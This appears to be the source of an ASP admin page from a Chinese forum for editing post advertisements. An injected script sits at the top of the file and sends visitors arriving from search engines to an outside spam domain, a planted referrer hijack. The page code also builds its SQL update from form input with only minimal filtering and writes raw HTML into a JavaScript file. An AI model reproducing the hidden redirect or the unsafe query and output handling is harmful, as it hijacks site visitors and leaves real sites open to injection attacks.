d:\wwwroot\wuchunhua\contentads.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="function.asp" -->
002:
<!-- #include file="cookie.asp" -->
<%
003:
myfilename="contentads.asp"
004:
thisttime=Now()
005:
dim econtentads, outmsg
006:
if action="contentads" and Request.ServerVariables("request_method") = "POST" then
007:
econtentads=Request.form("econtentads")
008:
econtentads=replace(econtentads,";","")
009:
econtentads=replace(econtentads,"'","")
010:
sql="update contentads set contentads='"&econtentads&"' where id=1"
011:
conn.execute(sql)
012:
outmsg=""
013:
econtentads=replace(econtentads,vbCrlf,"")
014:
outmsg="contentads.innerHTML ='';"&vbCrlf&"contentads.innerHTML +='"&econtentads&"';"&vbCrlf&"contentads.innerHTML +='';"
015:
set fileobject = Server.CreateObject("Scripting.FileSystemObject")
016:
set addhtmlfile = fileobject.CreateTextFile(Server.MapPath(".")&"\images\contentads.js")
017:
addhtmlfile.writeline outmsg
018:
019:
message="<li>帖子广告修改成功<li><a href=main.asp>返回管理首页</a>"
020:
succeed(""&message&"<meta http-equiv=refresh content=2;url="&myfilename&">")
021:
Response.End
022:
end if
023:
Set Rs=Conn.Execute("contentads")
024:
025:
%
>
026:
<html>
027:
028:
<head>
029:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
030:
<title>帖子广告</title>
031:
<link href="images/css.css" rel="stylesheet" type="text/css">
032:
</head>
033:
034:
<body>
035:
036:
<form name="FORM" action="
<%
=myfilename
%
>" method="post">
037:
<input type="hidden" name="action" value="contentads">
038:
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#C0C0C0" align="center">
039:
<tr>
040:
<td bgcolor="#FFFFFF">
041:
<textarea name="econtentads" cols="80" rows="20">
<%
=rs("contentads")
%
></textarea></td>
042:
</tr>
043:
<tr>
044:
<td bgcolor="#FFFFFF">
045:
<input type="submit" name="Submit" value="提交">
046:
<input type="reset" name="Submit" value="重置"> [帖子广告支持html]</td>
047:
</tr>
048:
</table>
049:
</form>
050:
051:
</body>
052:
053:
</html>
054:
055: